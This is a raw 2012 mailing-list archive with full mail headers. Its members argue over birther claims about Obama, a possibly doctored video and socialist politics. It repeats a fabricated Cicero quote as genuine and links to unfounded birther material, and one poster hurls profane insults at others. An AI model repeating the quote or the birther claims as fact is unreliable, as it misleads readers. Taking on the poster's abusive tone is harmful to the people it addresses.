roared out: > > > Disagree... *IF* he isn't legally a natural born citizen, then it > > would hopefully be the wake-up call all citizens need to realize that > > the level of corruption in politics, voting fraud, and the level of > > media control has reached extreme proportions, and it's time to put an > > end to it. With what I've seen in the last several years, on both > > sides of the isle, I would prefer to place the future of my freedoms > > in the collective wisdom of the average joe/joan before any politician... > > > > -----Original Message----- > > From: Rick Monteverde [mailto:rick@highsurf.com] > > Sent: Wednesday, March 07, 2012 4:43 PM > > To: vortexb-l@eskimo.com > > Subject: RE: [VoB]:What do you think? > > > > Kinda late now anyway, I'd rather see him voted in or out by the > > people than removed on a "technicality". > > > > -----Original Message----- > > From: Terry Blanton [mailto:hohlraum@gmail.com] > > Sent: Thursday, March 01, 2012 5:51 PM > > To: vortexb-l@eskimo.com > > Subject: [VoB]:What do you think? > > > > Do we have the Manchurian Candidate? > > > > http://www.wnd.com/2012/03/sheriff-joes-posse-probable-cause-obama-cer > > tifica > > te-a-fraud/ > > > > T > > > > -- > The Financiers & Banksters have looted untold trillions of our future earnings. > Their bureaucratic police & military goons are here to make us all pay for it. > Forever. > Well FORGET THAT. Let's get it *ALL* back from them -- and more. > > **Socialist revolution NOW!!** > > Build the North America-wide General Strike. > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > > And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... > -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Thu Mar 8 08:42:44 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q28GgfBM006601; Thu, 8 Mar 2012 08:42:41 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q28GgdVv006558; Thu, 8 Mar 2012 08:42:39 -0800 Resent-Date: Thu, 8 Mar 2012 08:42:39 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 8 Mar 2012 08:38:38 -0800 From: grok To: Mark Iverson-ZeroPoint Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:What do you think? Message-ID: <20120308163838.GB30348@shell.resist.ca> Reply-To: grok@resist.ca References: <035801ccfcc4$7647d370$62d77a50$@com> <019a01ccfcc6$762bfc20$6283f460$@net> <20120308024541.GE23951@shell.resist.ca> <01b401ccfce8$7eda26e0$7c8e74a0$@net> <20120308134247.GB8043@shell.resist.ca> <01fb01ccfd46$25da3fe0$718ebfa0$@net> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <01fb01ccfd46$25da3fe0$718ebfa0$@net> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Explosively Formed Penetrator, no foreigners, Macintosh, self-organizing system, X-31 User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4526 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 767 As the smoke cleared, Mark Iverson-ZeroPoint mounted the barricade and roared out: > As usual, you simply resort to name-calling without dealing with the > person's point... after all, grok is the only one who sees what's > really going on. I'm sorry. You're just an idiot whose opinion is completely worthless. Fuck off, eh? -- grok. > -----Original Message----- > From: grok [mailto:grok@resist.ca] > Sent: Thursday, March 08, 2012 5:43 AM > To: vortexb-l@eskimo.com > Subject: Re: [VoB]:What do you think? > > > As the smoke cleared, Mark Iverson-ZeroPoint mounted the barricade and roared out: > > > Have you got eyes grok; can you read and UNDERSTAND English? > > Are you *braindead*, you twit? > Sheesh. > > > -- grok. > > > > > > > > I said, and emphasized, "*IF* he isn't a legally born citizen"... > > Do you know what *IF* means???? > > > > Besides, I was not focused on the birth cert issue at all... it was only peripheral to my point, which you ignored or completely missed, of course. > > > > Practice what you preach. > > -m > > > > -----Original Message----- > > From: grok [mailto:grok@resist.ca] > > Sent: Wednesday, March 07, 2012 6:46 PM > > To: vortexb-l@eskimo.com > > Subject: Re: [VoB]:What do you think? > > > > > > People who fixate on the status of Obama's place-of-birth demonstrate nothing so much as their own political irrelevancy. > > This is MOST CERTAINLY a non-issue -- orchestrated by certain interests to sidetrack one gullible layer of the U.S. population. > > > > Get a clue, jeezus. > > > > > > > > -- grok. > > > > > > As the smoke cleared, Mark Iverson-ZeroPoint mounted the barricade and roared out: > > > > > Disagree... *IF* he isn't legally a natural born citizen, then it > > > would hopefully be the wake-up call all citizens need to realize > > > that the level of corruption in politics, voting fraud, and the > > > level of media control has reached extreme proportions, and it's > > > time to put an end to it. With what I've seen in the last several > > > years, on both sides of the isle, I would prefer to place the future > > > of my freedoms in the collective wisdom of the average joe/joan before any politician... > > > > > > -----Original Message----- > > > From: Rick Monteverde [mailto:rick@highsurf.com] > > > Sent: Wednesday, March 07, 2012 4:43 PM > > > To: vortexb-l@eskimo.com > > > Subject: RE: [VoB]:What do you think? > > > > > > Kinda late now anyway, I'd rather see him voted in or out by the > > > people than removed on a "technicality". > > > > > > -----Original Message----- > > > From: Terry Blanton [mailto:hohlraum@gmail.com] > > > Sent: Thursday, March 01, 2012 5:51 PM > > > To: vortexb-l@eskimo.com > > > Subject: [VoB]:What do you think? > > > > > > Do we have the Manchurian Candidate? > > > > > > http://www.wnd.com/2012/03/sheriff-joes-posse-probable-cause-obama-c > > > er > > > tifica > > > te-a-fraud/ > > > > > > T > > > > > > > -- > > The Financiers & Banksters have looted untold trillions of our future earnings. > > Their bureaucratic police & military goons are here to make us all pay for it. > > Forever. > > Well FORGET THAT. Let's get it *ALL* back from them -- and more. > > > > **Socialist revolution NOW!!** > > > > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > > TOUT le pouvoir aux conseils et communes. > > ALL power to the councils and communes. > > > > And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... > > > > -- > The Financiers & Banksters have looted untold trillions of our future earnings. > Their bureaucratic police & military goons are here to make us all pay for it. > Forever. > Well FORGET THAT. Let's get it *ALL* back from them -- and more. > > **Socialist revolution NOW!!** > > Build the North America-wide General Strike. > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > > And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... > -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Fri Mar 9 05:17:53 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q29DHoFs029563; Fri, 9 Mar 2012 05:17:51 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q29DHhHL029448; Fri, 9 Mar 2012 05:17:43 -0800 Resent-Date: Fri, 9 Mar 2012 05:17:43 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Virus-Scanned: amavisd-new at proxyz11.mailnet.ptd.net From: "Jeff Fink" To: Date: Fri, 9 Mar 2012 08:13:48 -0500 Message-ID: <2C12DDD120724F1D944AB3EFC24880C8@REVTEC1> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00B6_01CCFDCC.8E8DDFC0" X-Mailer: Microsoft Office Outlook 11 thread-index: Acz99na8uLJ51xMxTOSzSews5OZRHw== X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6157 Resent-Message-ID: <4sxMQ.A.AMH.3LgWPB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4527 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:true or false Status: O X-Status: X-Keywords: X-UID: 768 This is a multi-part message in MIME format. ------=_NextPart_000_00B6_01CCFDCC.8E8DDFC0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Is this video doctored up? http://www.youtube.com/watch?v=MwhKuunp8D8 &feature=player_embedded Jeff ------=_NextPart_000_00B6_01CCFDCC.8E8DDFC0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

 

 

 

Is this video doctored up?

 

http://www.youtube.com/watch?v=3DMwhKuunp8D8&feature=3Dpla= yer_embedded

 

Jeff

------=_NextPart_000_00B6_01CCFDCC.8E8DDFC0-- From vortexb-l-request@eskimo.com Fri Mar 9 05:36:19 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q29DaGi3016540; Fri, 9 Mar 2012 05:36:16 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q29Da6Tw016468; Fri, 9 Mar 2012 05:36:06 -0800 Resent-Date: Fri, 9 Mar 2012 05:36:06 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Virus-Scanned: amavisd-new at proxyz13.mailnet.ptd.net From: "Jeff Fink" To: Date: Fri, 9 Mar 2012 08:32:06 -0500 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00BD_01CCFDCF.1CB71580" X-Mailer: Microsoft Office Outlook 11 thread-index: Acz9+QUhFesz71xBQ0+MLg3FZaSZsg== X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6157 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4528 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:what have we learned Status: O X-Status: X-Keywords: X-UID: 769 This is a multi-part message in MIME format. ------=_NextPart_000_00BD_01CCFDCF.1CB71580 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit What Have We Learned in 2,065 Years? "The budget should be balanced, the Treasury should be refilled, public debt should be reduced, the arrogance of officialdom should be tempered and controlled, and the assistance to foreign lands should be curtailed lest Rome become bankrupt. People must again learn to work, instead of living on public assistance." - Cicero , 55 BC Evidently nothing. ------=_NextPart_000_00BD_01CCFDCF.1CB71580 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

 

 

 

What Have We Learned = in 2,065 Years?

    

          = "The budget should be balanced, the Treasury should be = refilled,

 public debt should = be reduced, the arrogance of officialdom should be

 tempered and = controlled, and the assistance to foreign lands should be

 curtailed = lest  Rome become bankrupt. People must = again learn to work,

 instead of living = on public assistance." -   Cicero , 55 = BC

 

       =     

 <= b>Evidently = nothing. 

 

------=_NextPart_000_00BD_01CCFDCF.1CB71580-- From vortexb-l-request@eskimo.com Fri Mar 9 06:08:49 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q29E8krb005369; Fri, 9 Mar 2012 06:08:46 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q29E8e94005224; Fri, 9 Mar 2012 06:08:40 -0800 Resent-Date: Fri, 9 Mar 2012 06:08:40 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 9 Mar 2012 06:04:40 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:what have we learned Message-ID: <20120309140440.GB32273@shell.resist.ca> Reply-To: grok@resist.ca References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Prithvi 1, Fusion Center, MYK, surveillance, Non-lethal weapon User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4529 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 770 As the smoke cleared, Jeff Fink mounted the barricade and roared out: > What Have We Learned in 2,065 Years? > > > > "The budget should be balanced, the Treasury should be refilled, > > public debt should be reduced, the arrogance of officialdom should be > > tempered and controlled, and the assistance to foreign lands should be > > curtailed lest Rome become bankrupt. People must again learn to work, > > instead of living on public assistance." - Cicero , 55 BC > > > > > > Evidently nothing. All this proves is that even smart conservatives like Cicero were clueless about the true nature of class society back then. But Cicero and his ilk at least had the excuse of living in a society with a primitive understanding of political-economy (and look how he died, for that matter). 2.000+ years later -- 150+ years since Marx published Capital and the Communist Manifesto -- conservatives have NO EXCUSE WHATSOEVER. Which makes them stoopider -- and more criminal -- than ever. -- grok. -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Fri Mar 9 06:19:19 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q29EJDsf014705; Fri, 9 Mar 2012 06:19:13 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q29EJCcR014682; Fri, 9 Mar 2012 06:19:12 -0800 Resent-Date: Fri, 9 Mar 2012 06:19:12 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=1.1 cv=JYQIUidRAECiNa+jsiaNMIhYElg3H2WoMKCJIGO75f4= c=1 sm=1 a=yUnIBFQkZM0A:10 a=eZxFahdUjPF0kzXDIwV/4g==:17 a=mshpDf_7AAAA:8 a=T7OTcRrCAAAA:8 a=wQ14PytCAGFvAbEqG48A:9 a=P5sc0s-M15wIwczSrsYA:7 a=CjuIK1q_8ugA:10 a=euF56A5xAYoA:10 a=tUQQw7hb2I8A:10 a=yMhMjlubAAAA:8 a=SSmOFEACAAAA:8 a=RLAzldW3dG8E3FEnxkQA:9 a=UcmJIfq-mph5XSmkd_8A:7 a=gKO2Hq4RSVkA:10 a=hTZeC7Yk6K0A:10 a=eZxFahdUjPF0kzXDIwV/4g==:117 From: "OrionWorks - Steven Vincent Johnson" To: References: In-Reply-To: Subject: RE: [VoB]:what have we learned Date: Fri, 9 Mar 2012 08:15:24 -0600 Organization: OrionWorks Message-ID: <000c01ccfdff$12362d50$36a287f0$@net> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000D_01CCFDCC.C79BBD50" X-Mailer: Microsoft Office Outlook 12.0 thread-index: Acz9+QUhFesz71xBQ0+MLg3FZaSZsgABLj5w Content-Language: en-us Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4530 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 771 This is a multi-part message in MIME format. ------=_NextPart_000_000D_01CCFDCC.C79BBD50 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit >From Jeff: > What Have We Learned in 2,065 Years? > "The budget should be balanced, the Treasury should > be refilled, public debt should be reduced, the arrogance of > officialdom should be tempered and controlled, and the > assistance to foreign lands should be curtailed lest Rome > become bankrupt. People must again learn to work, > instead of living on public assistance." - Cicero , 55 BC > > Evidently nothing. Those who make accusations that there are too many freeloaders living off the fat of the nation's money supply is a straw man's argument. It's also another example of how too many of us have succumbed to worshipping the golden calf. "Civilizations that insist on maintaining the value of their own money supply as being far more important than trying to maintain both the health and value of the supply of the nation's human resources are destined to end up losing both. They are in danger of losing both because they have forgotten the fundamental fact that what gives money 'value' in the first place is human resources kept employed to the fullest capacity possible." - Steven Vincent Johnson, 2012 AD. Regards, Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks ------=_NextPart_000_000D_01CCFDCC.C79BBD50 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

From = Jeff:

 

 > = What Have We Learned in 2,065 Years?

  &= nbsp; 

> =           "The budget = should be balanced, the Treasury should

> be = refilled, public debt should be reduced, the arrogance = of

> = officialdom should be tempered and controlled, and = the

> = assistance to foreign lands should be curtailed lest  = Rome

> bec= ome bankrupt. People must again learn to work,

> ins= tead of living on public assistance." -   Cicero , = 55 BC

>&nbs= p;

> Evi= dently nothing. 

 

Those who = make accusations that there are too many freeloaders living off the fat = of the nation's money supply is a straw man's argument. It's also = another example of how too many of us have succumbed to worshipping the = golden calf.

 

"Civiliz= ations that insist on maintaining the value of their own money supply as = being far more important than trying to maintain both the health and = value of the supply of the nation’s human resources are destined = to end up losing both. They are in danger of losing both because they = have forgotten the fundamental fact that what gives money = ‘value’ in the first place is human resources kept employed = to the fullest capacity possible." - Steven Vincent Johnson, 2012 = AD.

 

Regards,=

Steven = Vincent Johnson

www.OrionWork= s.com

www.zazzle.co= m/orionworks

------=_NextPart_000_000D_01CCFDCC.C79BBD50-- From vortexb-l-request@eskimo.com Fri Mar 9 06:27:04 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q29ER12O012133; Fri, 9 Mar 2012 06:27:01 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q29EQuhM012003; Fri, 9 Mar 2012 06:26:56 -0800 Resent-Date: Fri, 9 Mar 2012 06:26:56 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=1.1 cv=JYQIUidRAECiNa+jsiaNMIhYElg3H2WoMKCJIGO75f4= c=1 sm=1 a=yUnIBFQkZM0A:10 a=eZxFahdUjPF0kzXDIwV/4g==:17 a=1-DPfe2kAAAA:20 a=mshpDf_7AAAA:8 a=T7OTcRrCAAAA:8 a=U4prwwGA06A74fUqgGgA:9 a=CjuIK1q_8ugA:10 a=euF56A5xAYoA:10 a=tUQQw7hb2I8A:10 a=yMhMjlubAAAA:8 a=SSmOFEACAAAA:8 a=FjwNvx-EjG_wUY5873wA:9 a=7r7yTbCWoSbYluGiHk4A:7 a=gKO2Hq4RSVkA:10 a=hTZeC7Yk6K0A:10 a=eZxFahdUjPF0kzXDIwV/4g==:117 From: "OrionWorks - Steven Vincent Johnson" To: References: <2C12DDD120724F1D944AB3EFC24880C8@REVTEC1> In-Reply-To: <2C12DDD120724F1D944AB3EFC24880C8@REVTEC1> Subject: RE: [VoB]:true or false Date: Fri, 9 Mar 2012 08:23:11 -0600 Organization: OrionWorks Message-ID: <001101ccfe00$28505470$78f0fd50$@net> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0012_01CCFDCD.DDB5E470" X-Mailer: Microsoft Office Outlook 12.0 thread-index: Acz99na8uLJ51xMxTOSzSews5OZRHwACPGrA Content-Language: en-us Resent-Message-ID: <1wdUT.A.e7C.vMhWPB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4531 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 772 This is a multi-part message in MIME format. ------=_NextPart_000_0012_01CCFDCD.DDB5E470 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit >From Jeff: > Is this video doctored up? > > http://www.youtube.com/watch?v=MwhKuunp8D8&feature=player_embedded Yeah, right. It's all true!!!! The truth of the matter is that we elected a black man as president of the United States. I suggest those that have a problem with the reality of this fact try to learn to live with the reality of this fact instead of trying to find rationalizations as to why such a reality of such a fact can't be right. Regards, Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks ------=_NextPart_000_0012_01CCFDCD.DDB5E470 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

From = Jeff:

 

> Is this = video doctored up?

>&nbs= p;

> = http://www.youtube.com/watch?v=3DMwhKuunp8D8&feature=3Dplayer_embedde= d

 

Yeah, right. = It's all true!!!!

 

The truth of = the matter is that we elected a black man as president of the United = States.

 

I suggest = those that have a problem with the reality of this fact try to learn to = live with the reality of this fact instead of trying to find = rationalizations as to why such a reality of such a fact can’t be = right.

 

Regards,=

Steven = Vincent Johnson

www.OrionWork= s.com

www.zazzle.co= m/orionworks

 

------=_NextPart_000_0012_01CCFDCD.DDB5E470-- From vortexb-l-request@eskimo.com Fri Mar 9 06:54:22 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q29EsGVx031010; Fri, 9 Mar 2012 06:54:16 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q29EsFAA031003; Fri, 9 Mar 2012 06:54:15 -0800 Resent-Date: Fri, 9 Mar 2012 06:54:15 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgsGAKU/KE/O+Ihr/2dsb2JhbACBX48mjk6IcJ4ZhhkEhlCYVA X-IronPort-AV: E=Sophos;i="4.73,1,1325480400"; d="scan'208";a="166965261" Date: Fri, 9 Mar 2012 09:50:38 -0500 From: Vorl Bek To: vortexb-l@eskimo.com Subject: Re: [VoB]:true or false Message-Id: <20120309095038.963fc50c7cbe11385de99502@antichef.com> In-Reply-To: <001101ccfe00$28505470$78f0fd50$@net> References: <2C12DDD120724F1D944AB3EFC24880C8@REVTEC1> <001101ccfe00$28505470$78f0fd50$@net> X-Mailer: Sylpheed 3.2.0beta3 (GTK+ 2.24.6; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4532 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 773 > > > http://www.youtube.com/watch?v=MwhKuunp8D8&feature=player_embedded > > The truth of the matter is that we elected a black man as > president of the United States. > > I suggest those that have a problem with the reality of this > fact... I don't get it: how does the video have a problem with Obama's race? As far as I can tell, it is about whether or not he is a natural-born US citizen. From vortexb-l-request@eskimo.com Fri Mar 9 07:18:33 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q29FITCL016891; Fri, 9 Mar 2012 07:18:29 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q29FISSx016863; Fri, 9 Mar 2012 07:18:28 -0800 Resent-Date: Fri, 9 Mar 2012 07:18:28 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 9 Mar 2012 07:14:29 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:true or false Message-ID: <20120309151429.GA18346@shell.resist.ca> Reply-To: grok@resist.ca References: <2C12DDD120724F1D944AB3EFC24880C8@REVTEC1> <001101ccfe00$28505470$78f0fd50$@net> <20120309095038.963fc50c7cbe11385de99502@antichef.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <20120309095038.963fc50c7cbe11385de99502@antichef.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: EPA, rebellion, ASU, white phosphorus, politically motivated abuse of judicial process User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: <0S1w8.A.ZHE.E9hWPB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4533 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 774 As the smoke cleared, Vorl Bek mounted the barricade and roared out: > > > > > > http://www.youtube.com/watch?v=MwhKuunp8D8&feature=player_embedded > > > > > The truth of the matter is that we elected a black man as > > president of the United States. > > > > I suggest those that have a problem with the reality of this > > fact... > > I don't get it: how does the video have a problem with Obama's > race? As far as I can tell, it is about whether or not he is a > natural-born US citizen. It's because hypocrites consistently get away with uttering hypocrisy like this that there remains so much trouble in the World. Fuck off, you liar. -- grok. -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Fri Mar 9 07:20:56 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q29FKrNe019216; Fri, 9 Mar 2012 07:20:53 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q29FKql9019205; Fri, 9 Mar 2012 07:20:52 -0800 Resent-Date: Fri, 9 Mar 2012 07:20:52 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 9 Mar 2012 07:16:56 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:what have we learned Message-ID: <20120309151656.GB18346@shell.resist.ca> Reply-To: grok@resist.ca References: <000c01ccfdff$12362d50$36a287f0$@net> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <000c01ccfdff$12362d50$36a287f0$@net> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: EPA, rebellion, ASU, white phosphorus, politically motivated abuse of judicial process User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4534 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 775 As the smoke cleared, OrionWorks - Steven Vincent Johnson mounted the barricade and roared out: > From Jeff: > > > > > What Have We Learned in 2,065 Years? > > > > > "The budget should be balanced, the Treasury should > > > be refilled, public debt should be reduced, the arrogance of > > > officialdom should be tempered and controlled, and the > > > assistance to foreign lands should be curtailed lest Rome > > > become bankrupt. People must again learn to work, > > > instead of living on public assistance." - Cicero , 55 BC > > > > > > Evidently nothing. > > > > Those who make accusations that there are too many freeloaders living off > the fat of the nation's money supply is a straw man's argument. It's also > another example of how too many of us have succumbed to worshipping the > golden calf. > > > > "Civilizations that insist on maintaining the value of their own money > supply as being far more important than trying to maintain both the health > and value of the supply of the nation's human resources are destined to end > up losing both. They are in danger of losing both because they have > forgotten the fundamental fact that what gives money 'value' in the first > place is human resources kept employed to the fullest capacity possible." - > Steven Vincent Johnson, 2012 AD. > > > > Regards, > > Steven Vincent Johnson > > www.OrionWorks.com > > www.zazzle.com/orionworks Marx said it better. Much better. In fact, he developed an ACTION PLAN -- which still applies today. I follow it. -- grok. -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution 